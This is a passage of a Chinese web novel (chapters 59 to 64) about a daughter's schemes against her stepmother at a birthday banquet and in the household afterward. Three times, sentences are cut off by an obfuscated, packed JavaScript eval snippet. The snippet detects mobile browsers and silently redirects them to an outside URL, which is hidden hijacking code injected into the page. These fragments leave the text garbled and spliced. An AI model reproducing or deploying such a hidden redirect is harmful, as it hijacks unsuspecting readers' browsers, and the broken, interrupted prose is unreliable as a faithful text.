她沉默着,听着那夫人随口附和夸奖婉蓉,却并未表露有意结亲的意思,倒是旁边的马夫人笑意盈盈地突然开口说:“要么说大家眼神都好呢,我早瞧着婉玉这通身气度、落落大方的,真是越看越爱。” 说着在大家诧异之中,马夫人笑着拉着身侧的关怀素的手,上下打量了一下,然后说:“这品貌、这性子,一定要许个好人家,才不算是埋没。” 众人都十分诧异,孙大娘子却笑着附和,说:“是呢,这孩子性子、样貌都是一等一的,我自要给她挑个最好的人家。” “我瞧着实在是喜欢,”马夫人慈爱地笑着,从头上拔下一枝簪子来,笑着说,“出来匆忙,没带什么好东西,这簪子便当是个见面礼吧。” 说完,她笑着就把簪子往关怀素的头上插。 瞧着其乐融融,但是马夫人手上的力气很大,一手拉着关怀素,一手不容置疑地给她簪簪子。 想来是要在所有人面前把她和马家的婚事坐实。 关怀素并未大力抵抗,顺从地让马夫人把这簪子戴上。 马夫人这才放开她,眼里透出一股子满意之色。 “哎呀,这样贵重的首饰,婉玉,还不快谢谢马夫人?”孙大娘子掩口而笑,对关怀素吩咐。 众人看到这样一幕,顿时才知道马夫人居然看上了关怀素,难怪方才孙大娘子拒了那吏部员外郎夫人的试探,原来是在这里等着呢。 便是那吏部员外郎的夫人脸上都不再有不忿之色,反而只有淡淡失落,显然消息不灵通的官眷看起来,这可是顶好的上等婚事,十分值得艳羡。 不过也有一两个瞧着消息灵通一点的官眷,脸上就露出了一点踟蹰之色,显然觉得此事不妥。 “这个金簪太贵重了些,大姑娘收下不合适。”却听到众人之中,一道清冷的声音响起。 关怀素抬头一看,竟是一直未说话的那位大姨母。 “哎呀,这是马姐姐喜欢、乐意,姐姐你当马家是咱们家,一支金簪对马姐姐来说,不过是件漂亮器物罢了。”旁边一直忙着奉承的小姨母听得脸色一紧,立刻开口打断,笑着说,“大姑娘以后是有福气的人,这样的簪子,日后不知还有多少呢。” 说到这里,那小姨母还调笑地看关怀素,一副你懂我懂的表情。 若是姐姐在这里,能如何做呢? 她那样温柔木讷的人,指定不知道马公子底细,她就算是不愿意,在这种时候,也不敢说什么,因为一则是自小被教导女子要安分,二则估计也会担心,若是闹得太难看,闹得大家下不得台,又会担忧日后被孙大娘子安排更差的婚事可怎么办? 说不好就被赶鸭子上架,此事就这么定下来了。 不得不说,孙大娘子算计人心,实在是厉害。 不过可惜啊,孙大娘子再怎么能掐会算,也算不到此刻是她关怀素在这里。 “哦?小姨母这么喜欢,那就送给你吧。”关怀素笑着从头上拔下那支发簪,在所有人都一脸懵的表情之中,插在了小姨母的头上。 那发簪是一支喜鹊头金钗,主体乃金丝掐花编织而成,眼睛里镶嵌着绿色猫儿眼,口中衔着三串流光溢彩的彩色宝石,看着十分富贵华丽。 “嗯,小姨母戴着,果然十分好看。”关怀素笑着欣赏了一下,颔首笑着说。 这一番操作,出乎所有人意料,众人一下子都震撼的呆滞住,一时整个屋里静默无声。 第六十章 生辰小宴(下) 马夫人本来看着金簪在李家大姑娘发鬓之上摇动,愈发衬的花骨朵一般的姑娘天姿国色,她心中正十分满意——儿子虽贪花好色了些,但是这大姑娘不但举止大方端庄,家世说得过去,颜色也比家中那些丫鬟通房好太多。得了这样的美人儿,总归能让儿子收收心,早日诞下嫡子嫡女,日后荒唐些也无人能说什么了。 却没想到这李大姑娘居然转头把她赠送的发簪直接送人,这几乎不啻于在直接打她的脸! 马夫人气的一瞬间面皮紫涨,想拍案而去,可是却又突然想到,儿子在京师短短一月,已经闹出许多笑话,如今京师里消息灵通些的人家,便是连后宅女眷吃酒都不请她了,生怕她带着儿子登门拜访闹出什么事情。 她还给家里老爷保证过,一定赶在年后三月离京之前带走一个身份匹配的儿媳。 李家这个大姑娘,已经是目前最佳人选。 心中叫自己冷静,可是在滁州养尊处优,从来都是被官眷们捧着的马夫人,何曾被人这么当众下过面子? 她一时之间,不能发火又不能离开,憋得半晌说不出话来。 “哎呀,这万叶园的花卉极好,尤其是以梅园闻名,淑儿玉儿蓉儿,你们带姑娘们都去看看。”孙大娘子瞧着不对,立刻开口,然后笑着对诸位夫人解释说,“我们一块儿说话,就别拘着年轻人玩闹了。” 众人纷纷笑着应是,小姨母悄悄拔下金簪,也不敢还给马夫人,想了想,悄悄地放入了自己袖子里。 关怀素也跟着出门,一出去婉淑便斜眼看她一眼,用彼此才能听到的声音说:“姐姐还真是,敬酒不吃吃罚酒啊。” 说完不等关怀素回答,婉淑转身朝客人们和煦地笑,说:“听说万叶楼的梅花开得极好,咱们都去看看?” 众闺秀便都齐齐答应,结伴而去。 柳叶气得咬牙,轻声说:“姑娘,她装都不装了!” “小心些。”关怀素眯了眯眼睛,轻声提醒柳叶,“她这话听着不对,一会子别和我走散了。” 柳叶立刻答应,二人立刻跟上人群,却没想前头婉淑婉蓉带人转了几个弯,就不见了。 关怀素到底不熟悉地形,等发现的时候,才惊觉她和柳叶竟落单了。 就在这个时候,窸窣声响起,二人一起回头,却见到梅花花枝被拨开,马修文的脸从里头露了出来。 这画面,若是换了个面貌秀雅的小郎君,应当是一幅如梦似幻的画面。 毕竟梅园之中,红梅如血,层层叠叠的花枝开得极美。 可是里头的人换成马修文那张气血两亏、眼下黑青的脸之后,反倒是把点点如血红梅都衬的突然黯淡,有了股腐烂的感觉。 “哎呀,婉玉妹妹,你怎地在这里?”马修文看到她们,立刻便故作诧异地笑着开口。 关怀素叠掌见礼,闻到了马修文身上的馥郁香气,与梅花香十分相冲,十分难闻。 “见过马公子。”关怀素屏住呼吸,行礼后问,“方才我与大家一起过来赏花,不知为何与大家走散,公子可看到诸位姐妹去了哪儿?” “哦?方才我们也是被辰文辰瑜带着一起逛园子,也不知为何与大家走散了。”马修文笑着邀请,“不如我们结伴去找找?” 虽不知道马修文打的什么主意,但是关怀素面上不动声色,点头答应。 两人一起顺着满园梅花往前走,马修文一路上一直在与关怀素主动说话,关怀素却一路都不冷不热的,只保持着得体的距离。 期间马修文几次都想打发柳叶离开,又是说丢了东西让柳叶去捡,又是想让柳叶前面去探路。 但是关怀素却一直都不松口,只让柳叶一定要跟着,若是丢了什么东西,便只管三人一起去寻找就是。 马修文几次都未达成图谋,不免神色愈发焦急起来。 等到二人走到梅园外,眼前一畅,才看到居然面前居然是个结冰的大湖,湖边是丛丛梅花,对面长廊上都是结伴的年轻姑娘与郎君一起赏景,有笑闹声远远飘过来。 “姑娘,大家都在对面!”柳叶看到此景,忍不住就是一喜,扬声说。 关怀素当然也看到了,面上也是微微一松。 但是紧接着下一刻,却突然感觉到身边黑影扑过来! 关怀素反应极快,立刻便侧身躲过。 旁边马修文一击不中,已经目露淫邪凶光,冷笑说:“李婉玉,嫁给我有什么不好,我出身高贵,家里器重,配你这小小吏部郎中的女儿已经算是看得起你了!” “我呸,也不撒泡尿照照你那德行!脸色青黑、瞧着活不过三天的短命鬼的虚样儿,你配得上谁?!”柳叶看马修文居然扑自家姑娘,顿时勃然大怒,大声怒骂! 马修文却不管不顾,又再次扑过去抱住关怀素,边说:“你看不上我?今日我就叫大家都看看,你已经被我污了名声,我要你到时候跪着求着嫁给我!” 他却没想到,关怀素是个练家子。 想到若是今日换成姐姐,就要被污了清白逼嫁,关怀素勃然大怒,并指就狠狠地扎在马修文两只眼睛上,戳的他惨叫一声,然后又是一脚,踢得马修文登登登几步连连后退,然后竟是一路“咚”地一声跌到了湖里! “啊!”冰面破碎,马修文惨叫之中,身后突然传来一声惊呼! 回头一看,却是孙大娘子院子里的二等丫鬟。 “柳叶,抓住她,丢下去!”电光火石之间,关怀素就明白了,今儿马修文做的事情,绝对是孙萍和马夫人串通好的! 此时若是不抓住这丫鬟丢下去,接下来后面定还有局在等她们! 柳叶也明白了,一个箭步冲出去就抓起了那小丫鬟,然后推搡着就往湖边走。 “来人啊,大姑娘和马公子私会——”那小丫鬟拼命挣扎着,竭尽全力想把这件事情喊出去,柳叶一听大怒,抽开那丫鬟的腰带就是一脚,直接把人踢到了水里。 做完这一切,柳叶顺手把那腰带直接丢在湖边的草丛里,然后转头看关怀素,问:“姑娘,接下来怎么办?” 这一切发生的极快,几乎就在几个呼吸之间,关怀素立刻对柳叶说:“我们两个是走散之后一路走出来,撞上马公子躲在这角落与侍女私会,而后惊到了他们,不小心害他们落水了,知道吗?” 柳叶立刻点头,关怀素便急声说:“好,我们现在吓呆之后回神了,快大声呼救!” “救命啊!有人落水了!”柳叶立刻大喊起来。 关怀素也跟着大喊。 对面其实早有人远远看到这边有人,但是他们隔得太远看不清楚,只看到了马修文与侍女落水,这会子听到动静不对,立刻也叫嚷起来。 这一众年轻男女并没人下水,冬日寒冷,这会子下水,万一不小心,自己性命都不保。 但是好在万叶楼有会水的小厮,搭着木杆子下水,终于把二人捞了起来。 天寒地冻,马修文在水里泡了好一会儿,被捞起来时已经冻得脸色乌青,早昏了过去,马家小厮背着飞快去了上房,急急又请了郎中去熬药换衣服擦身子。 马修文能去换衣裳,但是后落水的婢女却被人弄醒了,全身湿透、哆哆嗦嗦地跪在屋里,听马夫人大发雷霆,指着她的鼻子问到底发生了何事。 “回、回夫人……”丫鬟哆哆嗦嗦地偷看孙大娘子,而后发着抖回,“奴婢、奴婢今儿奉命在梅园照料、照料诸位小姐,却没想到、没想到在梅园遇到了马公子和大姑娘……” “我呸!你与马公子在梅园私会,刚巧被我和姑娘撞上,吓得你们没站稳跌到了湖里,这会子你身上腰带都不在,还拿我们姑娘做筏子?!”柳叶冷笑着说,“你们素日欺负我们姑娘脾性好,全家做新衣,只有我们姑娘院子里主子下人的衣衫全不见影子……素日这种小事我们都忍了,可你与外男私会这种事情也敢往主子身上攀扯,你也太阴狠下贱了!” 这话听得孙大娘子面皮一紧,下意识手握成拳。 柳叶这话明面上是骂丫鬟,实际上是当着所有人的面骂她这个主母不慈呢! 果然旁边许多交好的夫人神色有些怪异,尤其是原本知道马修文是什么货色的,更是露出明悟之色。 “你闭嘴!你自己做下丑事还敢攀扯主子!来人,给我拉出去打!”孙萍知道她现在必须站出来,因为若是被抓住私会的是关怀素,丫鬟这么说完全没问题。可是如今被抓住的是丫鬟,再这么说,只会让人觉得她院子里的丫鬟跋扈,丝毫不把主子放在眼里。 丫鬟露出不可置信的神色,惊愕地看向孙大娘子,然后她神色一变,神色凄厉地想说什么,周妈妈却当机立断,立刻上前拿毛巾塞住她的嘴。 丫鬟挣扎着被拖了出去。 关怀素把头埋在柳叶的怀里,假装受惊过度。 出了这么大的纰漏,还干系到后宅阴私,客人们也不想再留,于是生辰宴就这么匆忙地结束了。 第六十一章 生辰大礼 回家的路上一反常态的安静,许是心虚,婉蓉和婉淑都没在马车里吵架,倒是叫关怀素清静了一会儿。 到了家里,众人才下马车,猛地就看到了屋里冒起滚滚浓烟! “后院走水了!”下人们大吼着纷纷跑出来,大喊,“快打水来!!!” 那滚滚浓烟实在是看着吓人,李福立刻带着小厮们打水,而后往后院冲。 关怀素跟着一路过去,便看到李福带着小厮冲进了宁小娘那院子,一看——好家伙,那滚滚浓烟里面,并无瓦砾烧着,反而只有一个丫鬟边咳边哭,一张脸黑不溜秋的,看到众人破门而入,反而被吓了一跳。 “这到底是怎么回事?!”不等众位主子爷恼怒,李福“哐当”一声,丢下手里的木盆,立刻上前怒斥云青,“在家里做什么幺蛾子,燃起这么浓的烟?” 孙大娘子抬眼那空地上一堆炭火,顿时眼皮就有点狂跳,心中觉得不太好。 但是她敢这么做,自然也是心里有打算,因此马上镇定下来。 云青就在这等着呢,听管家一问,立刻滚滚泪珠落下,哽咽地说:“管家恕罪,实在是今年的炭火烟气太大了,我怕熏到主子,就想着在外面把炭火燃起来了再送到我家小娘房里去,谁想到一直都点不燃,我就一直加,结果、结果现在也没点燃……” 她满腹委屈,满脸都是黑灰,只有眼泪冲刷出来的两条是白的,看起来十分凄凉,不由得让人不信。 李福顿时露出尴尬之色——家里的事情素来分的清楚,外院里一干事务、主君李珺的采买等都由他负责。 可是这后宅,素来都是主母孙大娘子管事。 这地上的炭火,李福一眼就能分辨出来,全是垫脚炭,难点燃、烟比火大。 家里下人都不用的炭火,出现在宁小娘房里……李福顿时神色微妙,也不敢说话,只迟疑地看向李珺。 大娘子不等李珺发问,当机立断蹲身请罪,惶恐地对着李珺说:“夫君恕罪,我日日管着家里,竟不知道宁小娘这屋里怎地分到了这等劣质炭火!我立刻便叫负责采买的妈妈来问清楚!” 李珺瞧着也觉得不像话,他看了一眼紧闭的门扉,心中有些怅惘,但是也有一些恼怒。 他甩手,冷声说:“此事必须查清楚,一旦查到是谁中饱私囊,直接发卖出去就是!” 说完,他转身就对关怀素与婉蓉婉淑说:“今儿一天,你们也累了,都回屋歇着吧。” 说完,李珺便抬步往外要走。 显然此事到这里就要到此为止了。 众人都松了口气,跟着李珺的步伐往外走,只有身后的云青在啜泣。 结果李珺走到门口,正要迈过门槛的时候,突然就听到了一阵清冷哀怨的古琴声音。 是非常古朴的调子,几下就已经哀怨缠绵到了极点。 而后还有一道如泣如诉的女子声音,开口唱着:“青青子衿,悠悠我心。纵我不往,子宁不嗣音?青青子佩,悠悠我思。纵我不往,子宁不来?挑兮达兮,在城阙兮。一日不见,如三月兮……” 这首《子衿》如泣如诉,女子声音哀怨缠绵,才一张口,李珺就浑身一震。 一首歌毕,李珺已经像是丢了魂魄一样,跌跌撞撞地走到了那屋门前。 只是到了门口,他突然有种近乡情怯的感觉,竟一下子不敢推门了。 “双双……”李珺轻声低唤,声音有些颤抖,“你、你在里面吗?” 里面沉默,李珺正在心中一点点沉下来,以为自己误会的时候,突然就听到里面传来一声含嗔带怨的一句:“郎君不是说再不见我的么?” 话带着嗔怪,可说的人声音颤抖,显见着已经带了哭音。 李珺鼻子微酸,再不犹豫,推门而入,看着屋里莹莹烛火之下,美人只着简朴棉衫,坐在古琴案前含泪抬头看他。 看到他推门进来,她微微抬眉,那双凤眼里面瞬间就含满了一汪盈盈的泪光。 看得李珺心都要碎了。 他急忙几步走过去,连声说:“双双,你瘦了……” “我瘦不瘦,不劳郎君操心!”宁小娘口里说着狠话,侧身不去看李珺,眼泪却一串串地掉,哽咽地说,“反正郎君说了,我就是个村野愚妇,上不得台面。” 说完,她的眼泪像是止不住一般,落得更凶了。 美人如玉,本就因为生病更加苍白,这一哭更是让人极为怜爱。李珺哪里受得住,上去就拉住她的手,连声说:“是我不是,我太生气,说了混账话……” …… “大娘子,姑娘们该歇息了。”屋里那一幕,所有人都看在眼里,管家李福瞧着孙大娘子脸色紫胀成了猪肝色,知道她心中不好受,可是却还是只能硬着头皮开口提醒。 孙大娘子猛地回过神来,才看到婉淑居然也看着屋里,她立刻怒声呵斥:“还愣着做什么,叫姑娘们都回屋去!管家,这里就烦请你帮忙了。” 关怀素就这么顺顺当当地回了屋。 丁妈妈正在院子里鬼鬼祟祟地偷看,看到她们进门便立刻兴奋地说:“姑娘,事儿成了?” 见关怀素点头,丁妈妈开心地直拍胸口。 “明儿许多事情,趁着这会子全家都顾不上,可都要安排好。”关怀素一路进屋脱衣,一边叮嘱丁妈妈。 “哎!姑娘只管放心。”丁妈妈连声保证。 “安排好,明日一起送给咱们大娘子。”关怀素嘴角含着冷笑,轻声说,“希望她喜欢这份生辰贺礼。” 孙大娘子一路忍耐着。 忍着回屋,忍着叫女儿回屋换衣裳,忍着更衣。 忍到小丫鬟从头上摘下那喜鹊登枝的金冠时,稍微拉了她的头发一下,疼痛让孙大娘子瞬间暴怒。 她猛地站起身,一巴掌就狠狠扇在了小丫鬟的脸上,怒声爆呵:“笨手笨脚的狗东西,连拆个发冠都不会!” 说话之间,孙大娘子已经狠狠赏了这小丫鬟三个巴掌。 她心中气恨,尤嫌不够满足,抬脚狠狠踹在小丫鬟的身上,把还在求饶的小丫鬟踢得惨叫一声,委顿在地,才觉得心中的狂怒稍微平复下来。 “娘子息怒,别伤了自己身子!”周妈妈瞧到这里,立刻上前扶住孙大娘子,又使眼色让人把小丫鬟带出去。 到屋里只剩下她们主仆二人,周妈妈才小声劝告说,“娘子,这不是发火的时候。” 孙大娘子何尝不知道? 可是,她看着跌坐在梳妆台前,看着镜子里戴着金冠、穿着满绣福字花夹袄的女子,她呜咽地捂住脸,痛苦地说:“妈妈,我好苦啊,我熬了半辈子了,我就只想风风光光地、快快活活地过这一天,一天也好……” 声音如泣如诉,痛苦万分。 周妈妈听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226039|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼圈发红,跟着哽咽地说:“娘子心里苦,妈妈都知道,妈妈都知道……” 哪里能不苦呢? 从小寄人篱下,无亲无靠,舅舅再怎么贴心关切,都不是亲爹娘,要小心应对,不能出一点错漏;好容易拼了性命挣来了好亲事,为了站稳脚跟,出门子都不敢穿正红,以半妾之礼嫁入李家为妇。 而后十几年兢兢业业地操持全家庶务、与婆母斡旋,用心逢迎主君,日日算计,步步小心,好容易才从对面分的一半的地位,偏又来了个据说有七八分像前头大娘子的受宠妾室。 …… 这一路风风雨雨,孙大娘子几乎日日提心吊胆、战战兢兢地在过活,她就像是没有筹码的棋手与人对弈,她必须一直赢下去,她不能输一局。 好容易熬了半辈子,熬到今日这次寿辰小宴。 好容易她以大娘子的姿态去结交贵眷,满心得意地听夫人们奉承,她算计了半辈子,这是她应当得到的犒劳。 可是却在今日,只几句琴音,就叫夫君忘了给她体面,当着孩子和下人的面留在宁小娘房里。 今儿是她的寿宴,再怎么也得给她这个主母体面,要留在东院的。 可是夫君竟像是什么都忘了,连句多余的话也没留下。 往日都已经习惯的,可在今日、在这个特别的日子,那种羞辱和无视,依然深深地刺痛了孙大娘子。 “姑娘心里苦,妈妈都知道,妈妈都知道……”周妈妈听得难受,眼含热泪地拍着孙大娘子的背,也不再敢与她多说什么,只哄着孙大娘子痛快哭了一场,连夕食都没再用,就换了身衣衫睡了。 “妈妈,翠翠被打了三十板子,如今又落水发热,若是再不请大夫,只怕今儿晚上熬不过去了!”周妈妈才出来,等在门口的扶芳就焦急地说。 周妈妈刚哭了一场,闻言皱眉轻声说:“娘子已经歇下了,这事儿今儿是管不过来了,你叫人悄悄拿了钱去打点一下。” 扶芳忙应是,飞快进屋拿了几串钱,匆匆到了外头。 外头等着的二等丫鬟看到扶芳,眼前一亮,连忙开口:“姐姐,怎么样,可能叫翠翠回家了?” “今儿娘子心里不舒爽,你拿了钱,给翠翠租个屋子住着,再请个郎中。”扶芳把钱塞到那二等丫鬟怀里,低声吩咐。 “可是翠翠如今发高热,外头定然不肯收她,再说她本就病着,在外头找地方什么的再颠簸受寒一下……”丫鬟眼圈一下子红了,连声还想求情,却被扶芳打断。 “菊香,我知道你与翠翠一起被买进家里,感情不一般。但是你要知道,翠翠差事没办好,坏了大娘子的大事,如今大娘子还愿意给钱医治,已经是发了天大的善心。”扶芳冷冷地看着菊香,像是要看到她的骨头里面去,冷声问,“难道你要为了把翠翠接回来,亲自去求大娘子吗?” 这话一说,立刻便让菊香心里一冷。 方才娘子在屋里发脾气,她也听到了。 菊香不敢做声,扶芳便叹了口气,放软了声音说:“你去罢,到底是姐妹一场,赶紧去照看一下。” 菊香不敢说话,转身噙着一汪热泪,匆匆捏着钱出去了。 是夜,东院西院都十分沉默。 倒是后院的西院十分热络,灯笼燃的亮亮的,又是热茶热汤、又是沐浴的香膏热水,下人来去流水一般,一刻也未曾停歇。 第六十二章 接连送礼(上) “姑娘,听说那落水丫鬟没留住,发热去了。”丁妈妈一大早地,悄声对关怀素说,“和她一起长大的,有个叫菊香的丫头冷了心,昨儿大半夜找到我这边,托我安排个活计,不想待在东院了。” 关怀素放下梳头发的手,问:“可靠得住?” “我一大早打听的清清楚楚,这丫头说的事情都对得上,而且在东院也没个依靠,估计靠得住。”丁妈妈轻声说,“我已经让她一会子站出来,若是能给东院上眼药,便答应她的事儿。她答应了。” “好、好!”关怀素一听,大喜,还没继续说,就听到门口突然传来嘈杂声音。 关怀素便知道,大戏要开锣了。 外头小荷匆匆进来说:“姑娘,老爷带着管家进来了,在看门口的炭火。” 关怀素立刻起身披了个大氅出去,便看到父亲正大怒地说:“还有几天就小年了,你们怎地连新衣裳都没得?这倒是奇怪了,内院前院下人都换了新衣,偏就后院两个院子什么都没有!” 说到愤怒之处,李珺气地指着那垫脚炭都在发抖,说:“还有这炭火,我在乡下都不曾看到人用这等低劣炭火,这都是拿来垫泥泞的东西,天寒地冻时节,这岂不是谋害人性命?!” “回老爷,自打从庄子上回来,我们院子里用的炭火布匹,小到一根针都是姑娘自己贴的钱……”丁妈妈终于等到机会,立刻上前叠掌行礼哽咽说,“如今过冬的冬衣各院都发了,也就咱们这里没动静,姑娘心善,不忍见我们过年没有御寒衣裳穿,又典当了一套首饰,说过几天给咱们补上……” “什么?!”李珺勃然大怒,说,“这都是公中的东西,怎能让姑娘典当首饰?你们怎地也不劝劝她!” “我们也让姑娘去找老爷说说,可是姑娘却说,老爷朝堂上的事情就已经够忙了,一大家子人,若是大家都为了这点小事去打扰您,您这一天就没个休息的时候了……”丁妈妈闻言,三分演戏七分真,连声哽咽地说,“姑娘一片孝心,我们也不好劝阻,便只能眼睁睁地看着姑娘那妝匣里,都空了好几层了,这天长日久的,怎么能行啊……” 丁妈妈说到这里,流下泪来。 她一个白发苍苍的老人,如此哭泣,早让众人都露出了不忍之色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230205|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 关怀素瞧着是自己说话的时候了,便连忙扬声说:“小荷,快扶妈妈下去歇息!” 说完才匆匆走过去,对父亲说:“父亲恕罪,丁妈妈年纪大了,说话有些颠三倒四的。女儿这里一切都好好的,还请父亲不必烦心。” 她越是神色镇定,越是这么说,顿时更叫李珺心中又怜又怒,立刻问柳叶:“你们姑娘真去当首饰了?这几个月月钱都是你们姑娘自己补贴的?” 柳叶故意怯怯地看关怀素一眼,李福立刻呵斥:“有什么话还不快跟老爷直说,这时候还瞒着做什么?!” 柳叶仿佛被吓了一跳,还在犹豫,身后的小荷仗着年纪小,立刻便说:“老爷,我们姑娘真的当了好多东西!都在房里,您现在一看便知!” 李珺一听,立刻便抬脚往里走,小荷领着他进屋,立刻便抽出外头的几个妆匣给李珺看。 李珺一看,里头他置办的许多东西果然都空了,瞧着少了一小半。 李珺心中怒火愈发炽烈,沉声对李福说:“去,叫全家都给我出来,我倒是要问清楚,各院子如今都是什么个情况!” 第六十三章 接连送礼(下) 全屋的主子下人都被惊动了,乌泱泱一大片人站在院子中央,都低头不敢看门廊下的主君。 李珺一问起来,登时肚子火气。 “全数拖出去,打了板子发卖给人伢子!”负责炭火采买的下人率先被拉出去。 再审问到月钱,才发现宁小娘和大女儿都一年多没拿到月钱了,尤其是大女儿从庄子上带回来的丫鬟婆子,甚至根本没有入发放月钱的账册! “老爷饶命,这原是大姑娘自己有了庄子,想着她有体己,便替公中省了……”那负责的管事婆子被拉出去之前,还哭着想解释。 “我李家还没穷到苛待自己的子女!”婆子不解释还好,一解释李珺更是暴怒,起身就是一脚,狠狠踹在婆子的身上,大怒,“你这刁奴欺上瞒下,竟还敢挑拨主子!” “给我打,打完全数叫人伢子发卖出去!”李珺怒声大吼,显然是气得狠了。 “老爷饶命!老爷饶命!”那婆子被拖出去之前,还在哭喊,想说什么,匆匆赶来的周妈妈使了个眼色,拖着婆子的老妈妈就一把将婆子的嘴捂住,一路拖出去了。 孙萍昨儿哭完睡了一宿,大早上被突然变故惊醒,这会儿匆匆赶来就看到这一幕,心中大叫不好! 昨儿光顾着生闷气去了,本以为炭火的事情,到时候处理一两个人给个交代也就算了,却不知为何老爷一大早却查了全家所有账目与庶务,这下子所有事情桩桩件件一起看,瞧着实在是不好辩白,事出突然,这真是大不好了! 孙大娘子心急如焚,但是面上却不敢露出一丝异样,上前诧异地问到底发生了何事,在听闻之后,立刻露出一副震惊的表情,立刻跪下请罪:“这婆子竟如此自作主张,是我失察之罪,还请夫君责罚。” 李珺瞪她一眼,说:“我瞧你素日行事最是稳重妥帖,这内院管的头头是道,母亲与妙人、你自己的屋都处处熨帖,怎地在后院偏像是个瞎子一般?!” 这话其实就是明晃晃在猜疑孙大娘子是故意苛待庶女与妾室。 孙大娘子知道糟了,可是事情来得太快太突然,哪怕孙大娘子一贯有急智,却也一时之间竟想不到其他理由为自己辩护。 就在这个时候,婉淑出来,见阿娘吃亏,立刻跑过来哭着说:“爹爹,您这是怪阿娘么?阿娘若是真有心害人,当初听说小娘病重,就不许大姐姐请郎中进来又如何?!可是阿娘没有!她确实就是太忙,所以才叫下人糊弄了啊!爹爹你不知道,阿娘平素与我说话都要掐着点儿,就怕耽误家里的事情。爹爹你幼时教导我知错能改善莫大焉,如今阿娘辛辛苦苦十几年,你便要因为这一时之错将阿娘的辛苦都抹杀了么?!” 不得不说,婉淑确实是被孙大娘子教导的极好,她这么一番话,顿时说的李珺也觉得自己怀疑孙大娘子,是否确实有些太疑神疑鬼了些。 又想到孙大娘子素日作为,再看她明明被自己几乎指着鼻子在怀疑,却依然还是一副不知如何为自己争辩、只知道哭着擦眼泪的样子…… 李珺心动登时又有些动摇。 可是这次的事情太严重,还是不能随意放过,李珺冷声说:“婉淑,你让开。你可知道你宁小娘前几个月差点病死,最后还是你大姐姐典当首饰衣衫,才救了她一命?” 婉淑一听,立刻不服气地说:“宁小娘确实是受苦了,她被禁足也没法子出来找人,可是大姐姐当初若是跟我阿娘说一声,让我阿娘知道,阿娘自会为小娘请郎中,何至于让大姐姐自己贴补?” 这一番话说出来,即暗示孙大娘子可能是被刁奴蒙蔽,又隐约有些指责是关怀素自己先防备着嫡母,自己在逞能拉拢人的意思。 关怀素听着都不由得佩服,与婉蓉比起来,婉淑确实在嘴皮子上强太多了。 能在言语之间从败局到反将一军,她确实厉害。 不过关怀素就等着她来问呢,闻言笑了下说:“好叫妹妹知道,不是我逞能,此时如此,一则是我们日日上课,我根本不得闲见到大娘子,二则是我给东院递了好几次信,可惜周妈妈说,家里事情多顾不上。我眼瞧着小娘快不行了,事干性命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁妈妈沉默了一下,周妈妈正要面上露出得意之色,却突然听到人群里一个女人的声音,说:“奴婢见到了。” 第六十四章 合作 众人循声望去,一个长脸婆子出来,跪在地上。 关怀素心知,这便是丁妈妈安排的人了。 “你亲眼见到丁妈妈去正院找周妈妈吗?”李福立刻问。 “是、是……奴婢乃是负责内院外头洒扫的,那日正在扫落叶,就听到了丁妈妈跟周妈妈说话,说是后头宁小娘好像是不大好了,是不是要请个郎中,周妈妈说上回已经回了夫人了,让丁妈妈管好大姑娘的院子就好……”这话一回完,这长脸婆子就伏下头,显是再不敢说话了。 李珺脸色一沉,指着孙大娘子怒斥一声:“你这毒妇——” 还没说完,却听到身后传来声音,紧接着是一道紧张的声音响起:“爹!娘你怎么跪在地上?姐姐你怎么哭了?!” 回头一看,却看到是辰文与辰瑜两位少爷回来了。 李辰瑜冲进来,一把抱住了孙大娘子,连声问发生何事。 孙大娘子哭着想推开儿子,擦着眼泪哄他:“无事,辰瑜,是阿娘管家不力,事情太多,竟把大事也忘了,差点出了大纰漏……都是娘的错,你快一边去!” 关怀素在旁边看着,都要为孙大娘子的反应拍案叫绝——这时候若是抓着儿子哭,甚至利用儿子为自己求情,反而会让父亲更加愤怒。 可是这样认罪,言语之中却一直在为自己辩解,只要身边人稍微得力,就能抓住最后一丝机会洗刷罪名。 而周妈妈显然十分忠心也十分机警,听到这里立刻突然大吼:“就你一个人看到?洒扫的人那么多,怎地只有你?我怎么知道是不是你这老货妒恨我,今日特地过来害我呢!” 不得不说,周妈妈这句话说到了重点,才一个洒扫婆子出来作证,今儿哪怕说破天去,只怕也就能斥责个孙大娘子管家不力,再罚几个具体管事儿的下人罢了。 只可惜周婆子算错了,她万万没想到,此时却有个丫鬟颤抖地站出来,带着哭音说,“奴婢也见到了!” 周妈妈转头一看,竟看到是自己院里的小丫鬟菊香,顿时脸色一白,怒声想呵斥什么,但是她人老成精,下一刻就明白——自个儿院子里也有人反水,今儿这回怕决计是躲不过了。 周妈妈站在原地,脸色又青又红了几个呼吸,然后不等李福说话,脸上闪过狠厉之色。 她猛地膝盖一软跪倒在地,大哭着朝孙大娘子磕头,连声说:“娘子……是老奴错了,娘子这些年对老奴纵容,倒叫老奴猪油蒙了心,竟犯下如此大错……娘子对老奴一片爱护,如今老奴也不能叫娘子因为老奴,而被天下人误会……” 